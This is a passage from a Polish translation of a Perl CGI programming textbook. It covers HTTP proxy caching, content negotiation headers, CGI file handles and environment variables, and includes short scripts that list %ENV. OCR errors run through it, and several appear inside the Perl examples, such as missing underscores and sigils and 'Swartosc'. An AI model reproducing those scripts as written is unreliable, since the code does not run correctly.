Dlatego, jeśli przeglądarka w żądaniu kierowanym do serwera nie przekazuje informacji identyfikujących, nie jest możliwe odróżnienie od siebie różnych użytkowników w różnych systemach, ponieważ może się zdarzyć, że kontaktują się za pośrednictwem tego samego proxy. W rozdziale 11, „Utrzymywanie stanu", przedstawimy, jak się zabrać do tego zagadnienia. Buforowanie Stosowanie proxy ma tę zaletę, że podnosi efektywność transakcji HTTP, przejmując część pracy, którą normalnie wykonuje serwer Web. W serwerach proxy jest to realizowane przez buforowanie w pamięci podręcznej (ang. caching) żądań i odpowiedzi. Kiedy proxy otrzymuje żądanie, sprawdza bufor pod kątem podobnego wcześniejszego żądania. Jeżeli takie znajdzie, a odpowiedź nie jest przeterminowana (nieaktualna), wówczas zwraca do klienta tę buforowaną odpowiedź. Fakt przeterminowania serwer proxy ustala na podstawie nagłówka HTTP buforowanej odpowiedzi, wysyłając żądanie HEAD do docelowego serwera Web, aby pobrać nowy nagłówek i dokonać jego porównania za pomocą własnych algorytmów. Jakakolwiek by była metoda sprawdzania, jeśli proxy nie musi sięgać po nową, pełną odpowiedź z docelowego serwera Web, zostaje zredukowane obciążenie serwera i natężenie ruchu sieciowego między danym serwerem a proxy. Może to również przyśpieszyć transakcje z punktu widzenia użytkownika. Buforowanie jest bardzo pożyteczne, ponieważ większość zasobów w Internecie to statyczne strony HTML oraz obrazy, które rzadko ulegają zmianom. Niemniej w wypadku materiałów dynamicznych buforowanie może powodować problemy. Skrypty CGI umożliwiają nam generowanie treści dynamicznych: żądanie adresowane do jednego skryptu CGI może generować rozmaite odpowiedzi. Wystarczy wyobrazić sobie prosty skrypt, zwracający wskazanie bieżącego czasu. Żądanie takiego skryptu CGI wygląda tak samo za każdym razem, natomiast odpowiedź za każdym razem powinna być inna. Jeżeli proxy zbuforuje odpowiedź pochodzącą z tego skryptu CGI, użytkownik, który później zgłosi żądanie, otrzyma stary egzemplarz strony z błędnym wskazaniem czasu. Na szczęście są sposoby pozwalające zasygnalizować, że odpowiedź od serwera Web nie powinna być buforowana. Zajmiemy się tym w następnym rozdziale. W protokole HTTP l .1 wprowadzono także specjalne wytyczne dotyczące serwerów proxy, które to wytyczne rozwiązały liczne problemy z dawniejszymi proxy. Wytyczne te zostały zaadaptowane w większości obecnych proxy, włącznie z tymi, w których protokół HTTP 1.1 nie został w pełni wdrożony. Buforowanie nie ogranicza się do serwerów proxy. Powszechnie wiadomo, że przeglądarki również buforują we własnej pamięci podręcznej. Na niektórych stronach Web umieszczane są instrukcje dla użytkowników, zalecające opróżnienie bufora przeglądarki, jeśli pojawią się problemy z odebraniem aktualnych informacji. Serwery proxy stanowią pewne utrudnienie, ponieważ użytkownicy nie mogą opróżniać buforów sąsiednich proxy (mogą nawet nie wiedzieć, że jakikolwiek proxy pośredniczy w komunikacji), tak jak to jest możliwe w wypadku przeglądarki. Uzgadnianie treści Ludzie na całym świecie korzystają z tego samego Internetu, lecz posługują się wieloma różnymi językami, wieloma różnymi zestawami znaków oraz wieloma różnymi przeglądarkami. Dokument prezentowany w jeden tylko sposób nie jest w stanie spełnić wymagań wszystkich ludzi. Dlatego HTTP zapewnia tak zwane uzgadnianie treści (ang. content negotiation), które umożliwia klientom i serwerom uzgodnienie najlepszego formatu danego zasobu. Powiedzmy, że chcemy, aby dokument dostępny był w kilku językach. Poszczególne jego przekłady można by przechowywać osobno, tak że każdy miałby odmienny URL. Jest to zły sposób z kilku powodów, a zwłaszcza dlatego, że wówczas trzeba by publikować kilka URL-i tego samego zasobu. URL-e zostały opracowane z myślą o tym, aby można je było łatwo przekazywać innym w trybie offline oraz za pośrednictwem hiPerlaczy, więc nie ma powodu, aby ludzie mówiący różnymi językami nie mogli posługiwać się tym samym, wspólnym URL-em. Korzystając z uzgadniania treści, można automatycznie udostępniać odpowiednie tłumaczenie żądanego dokumentu. Istnieją cztery główne formy uzgadniania treści: pod kątem języka, zestawu znaków, typu nośnika i kodowania. Każdej z nich dotyczy odrębny nagłówek, niemniej proces uzgadniania działa jednakowo we wszystkich wypadkach. Uzgadnianie może przeprowadzić serwer lub klient. W wypadku uzgadniania po stronie serwera klient wysyła nagłówek wskazujący na formę akceptowanej przez niego treści, serwer zaś odpowiada, wybierając jedną z możliwości i zwracając zasób we właściwym formacie. W wypadku uzgadniania po stronie klienta to klient żąda zasobu bez podawania specjalnych nagłówków, serwer wysyła do klienta listę dostępnych rodzajów treści, potem klient zgłasza dodatkowe żądanie, określające format żądanego zasobu, a wtedy serwer zwraca zasób we wskazanym formacie. Wyraźnie widać, że uzgadnianie po stronie klienta stanowi większe obciążenie (mimo że buforowanie tu pomaga), lecz klient na ogół lepiej niż serwer potrafi określić odpowiedni format. Typ nośnika Klient może w żądaniu umieścić nagłówek, w którym wymienione są preferowane formaty. Pole typu nośnika może wyglądać następująco: Accept: text/html;q=l, text/plain;q=0.8, image/jpeg, image/gif, */*;q=0.001 Lista nagłówka Accept zawiera typy nośników HTTP podane w formacie typ/podtyp (stosowanym także w polu Content-Type), a po nim nieobowiązkowy współczynnik jakościowy (gwiazdki pełnią funkcję symboli
Programowanie CGI w Perlu
22
wieloznacznych). Współczynnik jakościowy wyraża się liczbą zmiennopozycyjną z przedziału od O do l, która wskazuje na stopień preferencji określonego typu; domyślną wartością jest l. Od serwerów należy oczekiwać, że odczytają typy nośników w polu Accept i do przeglądarki zwrócą dane w preferowanej postaci. Jeśli kilku wartościom towarzyszy ten sam współczynnik jakościowy, wyższy priorytet otrzymuje podana najdokładniej (tj. taka, której współczynnik w ogóle jest podany lub której typ nośnika nie jest zapisany znakami wieloznacznymi). Według podanego przykładu priorytety przy zwracaniu dokumentów zostałyby ustalone następująco: 1. text/html 2. image/jpeg lub image/gif 3. text/plain 4. */* (wszystko inne) W rzeczywistości uzgadnianie typu nośnika nie jest częste, ponieważ byłoby dla przeglądarki nieporęczne, gdyby w każdym zgłaszanym przez nią żądaniu wymieniała typy nośników wszystkich obsługiwanych przez nią dokumentów. Najważniejsze przeglądarki podają obecnie oprócz typu */* tylko nowe lub rzadziej stosowane formaty obrazów. Takie nowsze formaty to na przykład image/p-jpeg (progresywny JPEG) lub image/png (format PNG powstał jako ogólnodostępne rozwiązanie, będące alternatywną względem GIF, który to format jest opatentowany; zob. rozdział 13, „Tworzenie grafiki w sposób dynamiczny"). Serwery Web na ogół nie obsługują uzgadniania typu nośnika w wypadku dokumentów statycznych, mimo to w następnym rozdziale przyjrzymy się skryptom CGI, które tym się zajmują. Aspekt międzynarodowy Chociaż uzgadnianie typu nośnika odchodzi w przeszłość, inne rodzaje uzgadniania treści zyskują na znaczeniu. Nowym obszarem, w którym uzgadnianie odgrywa istotną rolę, stał się aspekt międzynarodowy. Udostępnianie dokumentów ludziom innych narodowości może pociągać za sobą dwie rzeczy: obsługę przekładów na inne języki oraz obsługę innych zestawów znaków. Na przykład alfabet łaciński, cyrylica i kanji ujęte są w postaci różnych zestawów znaków. HTTP obsługuje wymienione rodzaje uzgadniania za pomocą pól nagłówka Accept-Language oraz Accept-Charset. Oto przykładowe wiersze tych pól: Accept-Charset: iso-8859-5, iso-8859-1;q=0.5 Accept-Language: ru, en-gb;q=0.5, en;q=0.4 Pierwszy wiersz informuje, że serwer powinien zwrócić treść, jeśli to możliwe, w cyrylicy, w przeciwnym zaś razie w zachodnim alfabecie łacińskim. Wiersz języka wskazuje na rosyjski jako najbardziej preferowany, drugie miejsce zajmuje brytyjski angielski, a trzecie - pozostałe odmiany angielskiego. Warto zwrócić uwagę, że w miejsce dowolnej z wymienionych wartości można użyć pojedynczej gwiazdki, pełniącej funkcję symbolu wieloznacznego. Jeśli zestaw znaków nie będzie podany, domyślnie zostanie przyjęty US-ASCII lub ISO-8859-1 (US-ASCII jest podzbiorem ISO-8859-1). Większość serwerów Web automatycznie obsługuje uzgadnianie języka dokumentów statycznych. Na przykład przy nowej instalacji serwera Apache zostanie zainstalowanych kilka egzemplarzy pliku powitalnego „It Worked!" w katalogu /usr/ local/apache/htdocs. Wszystkie pliki będą mieć wspólną podstawę nazwy index.html, lecz różne rozszerzenia, wskazujące na język dokumentu: index.html.en, index.html. fr, index.html.de itp. Gdy w przeglądarce wywołamy plik index.html, a potem w ustawieniach przeglądarki zmienimy preferowany język, po czym ponownie załadujemy stronę^ powinna się ona ukazać w innym języku. Kodowanie Ostatni rodzaj uzgadniania treści dotyczy kodowania. Jako kodowanie można podać gzip, compress oraz identity (brak kodowania). Oto przykładowy wiersz nagłówkowy, informujący, że przeglądarka obsługuje metody compress i gzip: Accept-Encoding: compress, gzip Serwer może wówczas przyśpieszyć przekazywanie obszernego dokumentu do klienta, wysyłając go w wersji zakodowanej (skompresowanej). Przeglądarka powinna zdekodować dokument automatycznie.
Podsumowanie Gratulacje! Właśnie przebrnęliśmy przez protokół HTTP, najbardziej skomplikowane zagadnienie związane z CGI. Odtąd wszystko będzie mieć solidne podstawy, których mieliśmy sposobność tu się nauczyć. Cała reszta jest o wiele bardziej atrakcyjna, ponieważ zabieramy się do pisania kodu. Następny rozdział zaczynamy od przyjrzenia się skryptom CGI.
Rozdział 3 CGI -wspólny interfejs bramy Zapoznaliśmy się już ogólnie z HTTP, więc możemy wrócić do omówienia CGI (Common Gateway Interface) oraz współdziałania skryptów z serwerami HTTP, którego efektem jest dynamiczna treść. Wiedza dostarczana w tym rozdziale powinna zapewnić umiejętność pisania elementarnych skryptów CGI oraz pełne zrozumienie wszystkich przedstawionych dotąd przykładów. Zacznijmy od przyjrzenia się pewnemu skryptowi. Skrypt ten wyświetla pewne podstawowe informacje, między innymi wersje użytych w danej transakcji CGI i protokołu HTTP oraz nazwę oprogramowania serwera: #!/usr/bin/perl -wT print <<KONIEC_HTML; Content-type: text/html <HTML>
Programowanie CGI w Perlu
23
<HEAD> <TITLE>Informacje o tym serwerze</TITLE> </HEAD> <BODY> <Hl>Informacje o tym serwerze</Hl> <HR> <PRE> Nazwa serwera: $ENV{SERVER_NAME} Wyczekiwanie na porcie: $ENV{SERVER_PORT} Oprogramowanie serwera: $ENV{SERVER_SOFTWARE} Protokół serwera: $ENV{SERVER_PROTOCOL} Wersja CGI: $ENV{GATEWAY_INTERFACE} </PRE> <HR> </BODY> </HTML> KONIEC_HTML Efekt uzyskany po zażądaniu URL-a powyższego skryptu CGI przedstawiamy na rysunku 3.1. Informacje o tym serwerze Nazwa serwera: localhost Wyczekiwanie na porcie: 80 Oprogramowanie serwera: Apache/1.3.9 (Unix) Protokół serwera: HTTP/1.l Wersja CCI: CBT/1.1 Rysunek 3.1. Rezultat działania skryptu server_info.cgi Na tym prostym przykładzie demonstrowane są podstawowe zasady współdziałania skryptów z interfejsem CGI: • Serwer Web przekazuje informacje do skryptu CGI za pośrednictwem zmiennych środowiskowych, do których skrypt ma dostęp poprzez tablicę asocjacyjną % ENV. • Skrypty CGI udostępniają wynik przez drukowanie wiadomości HTTP na STDOUT. • Skrypty CGI nie muszą w wyniku umieszczać pełnych nagłówków HTTP. Przykładowy skrypt tworzy tylko jeden nagłówek HTTP: Content-type. Powyższe punkty składają się na definicję tego, co będziemy nazywać środowiskiem CGI (ang. CGI environment). Przyjrzyjmy się temu środowisku dokładniej. Środowisko CGI Interfejs CGI ustanawia środowisko, w którym operują skrypty CGI. Określa ono na przykład, w którym z bieżących katalogów roboczych skrypt rozpoczyna działanie, jakie zmienne są wstępnie określone, gdzie kierowane są standardowe uchwyty plików itd. Natomiast CGI wymaga, aby skrypty definiowały treści odpowiedzi HTTP i co najmniej minimalny zestaw nagłówków HTTP. Bieżącym katalogiem roboczym podczas wykonywania skryptów CGI zwykle jest ten katalog serwera Web, w którym skrypty te się znajdują; taki układ zgodny jest z zaleceniami standardu CGI, chociaż nie wszystkie serwery Web się do niego stosują (np. IIS Microsoftu). Skrypty CGI na ogół są wykonywane z ograniczonymi uprawnieniami. W systemach uniksowych skrypty CGI wykonywane są z takimi samymi uprawnieniami, jakie ma serwer Web, który najczęściej jest ustanawiany użytkownikiem specjalnym, na przykład nobody, web lub www. W innych systemach operacyjnych serwer Web sam musi być skonfigurowany odpowiednio do uprawnień nadanych skryptom. W każdym razie, skrypty CGI nie powinny mieć możliwości czytania ani zapisywania we wszystkich obszarach systemu plików. Mogłoby się wydawać, że stanowi to tylko kłopot, lecz w istocie odgrywa pożyteczną rolę, o czym przekonamy się podczas omawiania bezpieczeństwa w rozdziale 8, „Bezpieczeństwo". Uchwyty plików Skrypty Perla na ogół rozpoczynają się trzema standardowymi predefiniowanymi uchwytami plików: STDIN (standardowe wejście), STDOUT (standardowe wyjście) oraz STDERR (standardowe wyjście błędów). Pod tym względem nie różnią się od nich skrypty Perla obsługujące interfejs CGI. Niemniej w skryptach CGI te uchwyty plików mają szczególne znaczenie. STDIN Gdy serwer Web otrzymuje żądanie HTTP skierowane do skryptu CGI, odczytuje nagłówek HTTP, a treść (czyli część zasadniczą) wiadomości przekazuje do skryptu CGI poprzez STDIN (standardowe wejście). Ponieważ nagłówek jest już wtedy usunięty, STDIN będzie puste w wypadku żądań GET bez części zasadniczej, a w wypadku żądań POST będzie zawierać zakodowane dane formularza. Warto zapamiętać, że nie występuje tu znacznik końca pliku, więc próba odczytania większej ilości danych, niż jest dostępne, spowoduje zawieszenie się skryptu, ponieważ będzie on czekać na pojawienie się kolejnych danych na STDIN, które jednak nigdy nie nadejdą (serwer lub przeglądarka Web powinny w końcu uznać, że przekroczony został limit czasu, i unicestwić proces skryptu CGI, lecz mimo wszystko niepotrzebnie przez długi czas wiązane są zasoby systemu). Dlatego przy żądaniach GET nigdy nie powinno się odczytywać STDIN. W wypadku żądań POST należy się zawsze
Programowanie CGI w Perlu
24
odwoływać do wartości nagłówka Content-Length i odczytywać nie więcej bajtów niż wskazuje ten nagłówek. Jak odczytywać tę informację, zobaczymy w podrozdziale „Dekodowanie danych wprowadzonych do formularza" w rozdziale 4, „Formularze i CGI". STDOUT Skrypty CGI zwracają wynik do serwera Web, drukując go na STDOUT. Oprócz nagłówków HTTP może to być również treść odpowiedzi, o ile jest przewidziana. Perl na ogół buforuje wynik kierowany na STDOUT i wysyła go porcjami do serwera Web. Serwer Web może czekać, aż cały wynik działania skryptu zostanie skompletowany i dopiero wtedy wyśle go do klienta. Na przykład Enterprise Server firmy iPla-net (dawniej Netscape) buforuje wynik, podczas gdy serwery Apache (1.3 i nowsze) tego nie robią. STDERR CGI nie określa, w jaki sposób serwer Web powinien obsługiwać wynik kierowany na STDERR, więc na różnych serwerach obsługa ta jest różnie implementowana, jednak niemal zawsze generują odpowiedź 500 Internal Sewer Error (wewnętrzny błąd serwera). Niektóre serwery Web, na przykład Apache, wynik z STDERR dołączają do swojego dziennika błędów, w którym notowane są także inne błędy, na przykład dotyczące nieudanych autoryzacji oraz żądań dokumentów, których nie ma na serwerze. Jest to bardzo pomocne przy debugowaniu błędów w skryptach CGI. Inne serwery, na przykład te z firmy iPlanet, nie czynią rozróżnienia między STDOUT i STDERR; przechwytują dane z obydwu wyjść jak zwykły wynik działania skryptu i obydwa zwracają do klienta. Mimo to skierowanie danych na STDERR zwykle skutkuje błędem serwera, ponieważ Perl nie buforuje STDERR, więc dane drukowane na STDERR często dochodzą do serwera Web przed danymi drukowanymi na STDOUT. Serwer Web zgłosi wówczas błąd, ponieważ oczekiwał wyniku, który by rozpoczynał prawidłowy nagłówek, a nie komunikatu o błędzie. W wypadku iPlanet w dzienniku jest wtedy rejestrowany tylko komunikat serwera o błędzie, a nie cała zawartość STDERR. Sposoby obsługi wyników STDERR opiszemy w ramach omówienia debugowania skryptów CGI w rozdziale 15, „Debugowanie aplikacji CGI". Zmienne środowiska Skrypty CGI otrzymują predefiniowane zmienne środowiska, które dostarczają informacji o serwerze Web, a także o kliencie. Wiele z tych informacji pochodzi z nagłówków żądania HTTP. W Perlu dostęp do zmiennych środowiska odbywa się za pośrednictwem tablicy asocjacyjnej %ENV. Wolno dodawać, usuwać lub zmieniać dowolne wartości tablicy %ENV. Podprocesy utworzone przez skrypt również będą dziedziczyć te zmienne, wraz ze wszelkimi wprowadzonymi do nich zmianami. Zmienne środowiska CGI Standardowe zmienne środowiska CGI, wymienione w tabeli 3.1, powinny być dostępne na każdym serwerze obsługującym CGI. Mimo to, gdyby przejrzeć w pętli wszystkie klucze w tablicy %ENV, prawdopodobnie pokażą się nie wszystkie spośród tutaj wymienionych. Przypomnijmy, że pewne nagłówki żądań HTTP towarzyszą tylko niektórym żądaniom. Na przykład nagłówek Content-length jest wysyłany tylko z żądaniami POST. Zatem zmienne środowiska, które są odwzorowaniem takich właśnie nagłówków, będą nieobecne, gdy nieobecne będzie odpowiadające im pole nagłówkowe. Innymi słowy, wartość $ENV{CONTENT_LENGTH} będzie istnieć tylko w wypadku żądań POST. Tabela 3.1. Standardowe zmienne środowiska CGI Zmienna środowiska Opis AUTH_TYPE Metoda uwierzytelniania użyta do zidentyfikowania użytkownika. Jest pusta, jeśli żądanie nie wymaga uwierzytelnienia. CONTENT_LENGTH Długość danych (w bajtach) przekazanych do programu CGI poprzez wejście standardowe. CONTENT_TYPE Typ nośnika treści żądania, na przykład application/x-www-formurlencoded. DOCUMENT_ROOT Katalog, z którego wydawane są dokumenty statyczne. Wersja interfejsu CGI wykorzystywanego przez serwer. PATH_INFO Dodatkowa informacja o ścieżce przekazywana do programu CGI. PATH_TRANSLATED Przesunięta wersja ścieżki podanej w zmiennej PATH_INFO. QUERY_STRING Zapytanie zawarte w żądanym URL-u (tj. dane po znaku zapytania). REMOTE_ADDR Zdalny adres IP klienta zgłaszającego żądanie; może to być adres proxy HTTP pośredniczącego miedzy serwerem a użytkownikiem. REMOTE_HOST Nazwa zdalnego hosta klienta zgłaszającego żądanie; może to być też nazwa proxy HTTP pośredniczącego między serwerem a użytkownikiem. REMOTE_IDENT Nazwa użytkownika zgłaszającego żądanie, tak jak została podana przez demona identyfikującego. Demon ten działa tylko w wypadku niektórych użytkowników Uniksa i IRC. REMOTE_USER Nazwa logowania użytkownika (login), uwierzytelniona przez serwer Web. REQUEST_METHOD Metoda żądania HTTP użyta w danym żądaniu. SCRIPT_NAME Ścieżka URL (np. /cgi/program.cgi) wykonywanego skryptu. SERVER_NAME Nazwa hosta serwera lub jego adres IP. SERVER_PORT Numer portu hosta, na którym serwer nasłuchuje. SERVER_PROTOCOL Nazwa i wersja protokołu żądania, na przykład „HTTP/1.l".
Programowanie CGI w Perlu
SERVER_SOFTWARE
25
Nazwa i wersja oprogramowania serwera odpowiadającego na żądanie
klienta. Do skryptów trafiają także nagłówki HTTP nie uznawane przez serwer Web za nagłówki standardowe, a także kilka innych często stosowanych nagłówków. Tworząc nazwę odpowiedniej zmiennej środowiska, serwer Web stosuje się do następujących reguł: • Nazwa pola zapisywana jest samymi wielkimi literami. • Wszystkie łączniki przekształcane są na znaki podkreślenia. • Do nazwy dodawany jest przedrostek HTTP_. W tabeli 3.2 wymienione zostały niektóre spośród częściej spotykanych tego rodzaju zmiennych środowiska. Tabela 3.2. Dodatkowe zmienne środowiska CGI Zmienna środowiska Opis HTTP_ACCEPT Lista typów nośnika, które klient może zaakceptować. HTTP_ACCEPT_CHARSET Lista zestawów znaków, które klient może zaakceptować. HTTP_ACCEPT_ENCODING Lista sposobów kodowania, które klient może zaakceptować. HTTP_ACCEPT_LANGUAGE Lista języków, które klient może zaakceptować. HTTP_COOKIE Para nazwa-wartość poprzednim razem określona przez serwer. HTTP_FROM Adres poczty elektronicznej użytkownika zgłaszającego żądanie; większość przeglądarek nie przekazuje tej informacji, ponieważ jest to uznawane za naruszenie prywatności użytkownika. HTTP_HOST Nazwa hosta serwera wydzielona z żądanego URL-a (odpowiada polu Host protokołu HTTP 1.1). HTTP_REFERER URL dokumentu, który skierował użytkownika do danego programu CGI (np. poprzez hiPerlacze lub formularz). HTTP_USER_AGENT Nazwa i wersja przeglądarki klienta. Bezpieczny serwer zwykle wprowadza o wiele więcej zmiennych środowiska, odnoszących się do bezpiecznego połączenia. Wiele z nich opartych jest na specyfikacji X.509 i dostarcza informacji o certyfikatach serwera, a niekiedy także o certyfikatach przeglądarki. Ponieważ znajomość szczegółów na ten temat naprawdę nie będzie nam potrzebna przy pisaniu skryptów, nie będziemy się w tej książce zajmować ani X.509, ani bezpiecznymi transakcjami HTTP. Chcąc uzyskać więcej informacji, można sięgnąć do specyfikacji RFC 2511 lub serwisu Web grupy roboczej ds. infrastruktury kluczy publicznych pod adresem http://www.imc.org/ietf-pkix/. Nazwy zmiennych środowiska przekazywanych do skryptu przy bezpiecznym połączeniu są różne w zależności od serwera. Niemniej zmienna HTTPS (zob. tabela 3.3) jest powszechnie obsługiwana i przydaje się przy ustalaniu, czy połączenie jest bezpieczne; niestety między serwerami występują różnice, jeśli chodzi o wartości przybierane przez tę zmienną. Odpowiednich informacji należy szukać w dokumentacji serwera albo skorzystać z przykładu 3.1 lub 3.2 w celu wygenerowania danych dotyczących konkretnego serwera. Tabela 3.3. Powszechnie stosowana zmienna środowiska w wypadku bezpiecznych serwerów Zmienna środowiska Opis HTTPS Może służyć jako znacznik sygnalizujący, czy połączenie jest bezpieczne; jej wartości różnią się w zależności od serwera (np. „ON" lub „on", gdy jest bezpieczne, a puste lub „OFF", gdy takie nie jest). Serwer Web może dostarczać jeszcze inne zmienne środowiska, oprócz wymienionych w tym podrozdziale. Ponadto administratorzy serwerów Web w większości wypadków mają możliwość ustanawiania nowych zmiennych środowiska za pośrednictwem pliku konfiguracyjnego. Z tej możliwości można skorzystać w sytuacji, gdy te same informacje konfiguracyjne (na przykład nazwa serwera bazy danych, z którym nawiązywane jest połączenie) dotyczą kilku skryptów CGI. Posiadanie w pliku konfiguracyjnym serwera Web zmiennej zdefiniowanej tylko raz ułatwia jej późniejszą modyfikację. Odczytywanie zmiennych środowiska Ponieważ przeglądarki i serwery Web mogą przekazywać do skryptów dodatkowe zmienne środowiska, często bywa pomocna lista zmiennych środowiska swoistych dla danego serwera Web. Przykład 3.1 przedstawia krótki skrypt, łatwy do zapamiętania, a potem wpisania, gdy zajdzie taka potrzeba po przejściu na inny system. Skrypt wygeneruje poręczną listę zmiennych środowiska specyficznych dla danego serwera Web. Na przykład HTTP_COOKIE pojawi się tylko wtedy, gdy przeglądarka obsługuje ciasteczka, obsługa ta nie została wyłączona, a przeglądarka otrzymała wcześniej od serwera Web żądanie ustanowienia ciasteczka. Przykład 3.1. env.cgi #!/usr/bin/perl -wT # Drukuje listę wszystkich zmiennych środowiska use strict; print "Content-type: text/html\n\n"; my $nazwa_zmiennej ; foreach $nazwa_zmiennej ( sort keys %ENV ) { print "<P><B>$nazwa_zmiennej</B><BR>" ; print $ENV{$nazwa_zmiennej}; } Powyższy kod tworzy alfabetyczną listę nazw zmiennych środowiska i ich wartości, pokazaną na rysunku 3.2.
Programowanie CGI w Perlu
26
Ponieważ jest to doraźny skrypt, pominęliśmy pewne szczegóły, które powinny się w nim znaleźć, gdyby miał to być ostateczny skrypt CGI, a które uwzględnimy w pozostałych przykładach. Na przykład nie wydrukowaliśmy (instrukcją print) prawidłowego dokumentu HTML (brakuje par znaczników HTML, HEAD i BODY). Z pewnością powinny zostać dodane, gdyby skrypt miał stać się większy niż kilka linijek lub gdyby był przeznaczony dla innych osób. Przykład 3.2 przedstawia bardziej rozbudowaną wersję, wyświetlającą wszystkie zmienne środowiska zdefiniowane przez interfejs CGI i serwer Web, wraz z krótkim objaśnieniem w wypadku standardowych zmiennych. Przykład 3.2. env_info.cgi #!/usr/bin/perl -wT use strict; my %env_info = ( SERVER_SOFTWARE =>„oprogramowanie serwera", SERVER_NAME => „nazwa hosta lub adres IP serwera", GATEWAY_INTERFACE => “wersja specyfikacji CGI", SERVER_PROTOCOL => „nazwa protokołu serwera", SERVER_PORT => „numer portu serwera", REQUEST_METHOD => „metoda żądania HTTP", PATH_INFO => „dodatkowa informacja o ścieżce", PATH_TRANSLATED => „przesunięta dodatkowa informacja o ścieżce", DOCUMENT_ROOT => „główny katalog dokumentów serwera", SCRIPT NAME => "nazwa skryptu". QUERY STRING = > "łańcuch zapytania", REMOTE HOST => "nazwa hosta klienta", REMOTE ADDR => "adres IP klienta", AUTH TYPE => "metoda uwierzytelnienia", REMOTE USER => "uwierzytelniona nazwa użytkownika", REMOTE IDENT => "zdalnym użytkownikiem jest (wg RFC 931) : ", CONTENT__TYPE => "typ nośnika danych", CONTENT LENGTH=> "długość części zasadniczej żądania", HTTP ACCEPT => "typy nośników, które klient akceptuje", HTTP USER AGENT=> "przeglądarka, której klient używa", HTTP REFERER => "URL odsyłającej strony", HTTP COOKIE => "ciasteczko, które wysłał klient" ); print "Content-type: text/html\n\n"; print <<KONIEC_NAGLOWKA; <HTML> <HEAD> <TITLE>Lista zmiennych środowiska</TITLE> </HEAD> <BODY> <Hl>Zmienne środowiska CGI</H1> <TABLE BORDER=1> <TR> <TH>Nazwa zmiennej</TH> <TH>Opis</TH> <TH>Wartość</TH> </TR> KONIEC_NAGLOWKA my $nazwa; # Dodatkowe zmienne zdefiniowane przez serwer Web lub przeglądarkę foreach $nazwa ( keys %ENV ) { $env_info{$nazwa} = "dodatkowa zmienna dostarczona przez ten serwer" unless exists $env info{$nazwa}; } foreach $nazwa ( sort keys %env_info ) { my $info = $env_info{nazwa}; my $wartosc = $ENV{$nazwa} || "<I>Niezdefiniowana</I>"; print "<TR><TD><B>$nazwa</B></TD><TD>$info</TD><TD>Swartosc</TD></TR>\n"; } print "</TABLE>\n"; print "</BODYX/HTML>\n"; Tablica asocjacyjna %env_inf o zawiera nazwy standardowych zmiennych środowiska wraz z opisami. Pierwsza pętla foreach wykonuje iteracje względem tablicy %ENV, dodając wszelkie dodatkowe zmienne środowiska zdefiniowane przez bieżący serwer Web. Potem następna pętla foreach wykonuje iteracje na właśnie
Programowanie CGI w Perlu
27
rozszerzonej liście i wyświetla nazwę, opis i wartość każdej zmiennej środowiska. Rysunek 3.3 pokazuje, jak wygląda wynik w oknie przeglądarki. DOCUMENT_ROOT /usr/local/apache/htdocs GATEWAY_INTERFACE CGI/1.1 HTTP_ACCEPT Image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* HTTP_ACCEPT_CHARSET iso-8859-l,*,utf-8 HTTP_ACCEPT_ENCODING gzip HTTP_ACCEPT_LANGUAGE En,pdf HTTP_CONNECTION Keep-Alive HTTP_COOKIE SaneID=209.24. 168.2-93415818824 HTTP HOST localhost HTTP_PRAGMA no-cache HTTP_USER_AGENT MoziIla/4.5 (Macintosh; I; PPC) PATH /sbin:/usr/sbin:/bin:/usr/bin QUERY_STRING Rysunek 3.2. Rezultat działania skryptu erw.cgi Powyższe omówienie objęło większość tego, co pojawia się na wejściu CGI, lecz nie zajęliśmy się jeszcze odczytywaniem zasadniczej części wiadomości w żądaniach typu POST. Do tego tematu wrócimy przy omawianiu formularzy, w następnym rozdziale. Tymczasem przyjrzyjmy się temu, co pojawia się na wyjściu CGI.
Dane na wyjściu CGI Każdy skrypt CGI musi drukować wiersz nagłówkowy, którego serwer użyje przy konstruowaniu pełnych nagłówków HTTP w odpowiedzi. Jeżeli skrypt CGI utworzy nieprawidłowe nagłówki lub w ogóle ich nie utworzy, serwer Web wygeneruje poprawną odpowiedź dla klienta - na ogół będzie to komunikat o wewnętrznym błędzie serwera: 500 Internat Seruer Error. Zmienne środowiska CGI Opis Wartość AUTH_TYPE metoda uwierzytelnienia Niezdefiniowana CONTENT_LENGTH długość części zasadniczej żądania Niezdefiniowana CONTENT_TYPE typ nośnika danych Niezdefiniowana DOCUMENT_ROOT główny katalog dokumentów serwera usr/local/apache/htdocs GATEWAY_INTERFACE wersja specyfikacji CGI CGI/1.1 HTTP_ACCEPT typy nośników, które klient akceptuje image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */* HTTP_ACCEPT_CHARSET dodatkowa zmienna dostarczona przez ten serwer iso-8859-l,*,utf8 HTTP_ACCEPT_ENCODING dodatkowa zmienna dostarczona przez ten serwer gzip HTTP_ACCEPT_ŁANGUAGE dodatkowa zmienna dostarczona przez ten serwer en.pdf HTTP_CONNECTION dodatkowa zmienna dostarczona przez ten serwer Keep-Alive Rysunek 3.3. Rezultat działania skryptu ernv_info.cgi W CGI możliwe jest przekazywanie nagłówków pełnych lub tylko cząstkowych. Według ustawień domyślnych CGI powinien zwracać tylko nagłówki cząstkowe. Nagłówki cząstkowe Skrypty CGI muszą tworzyć jeden z trzech następujących nagłówków: • nagłówek Content-type, określający typ nośnika treści przychodzącej po nagłówku, • nagłówek Location, określający URL, do którego klient ma zostać skierowany, • nagłówek Status, określający stan, który nie wymaga dodatkowych danych, na przykład 204 No Response (bez odpowiedzi). Dokonajmy przeglądu każdej z wymienionych możliwości. Przekazywanie dokumentów na wyjście Skrypty CGI w odpowiedzi najczęściej zwracają HTML. Przed przekazaniem na wyjście jakiejkolwiek treści skrypt musi poinformować serwer o jej typie nośnika.
Programowanie CGI w Perlu
28
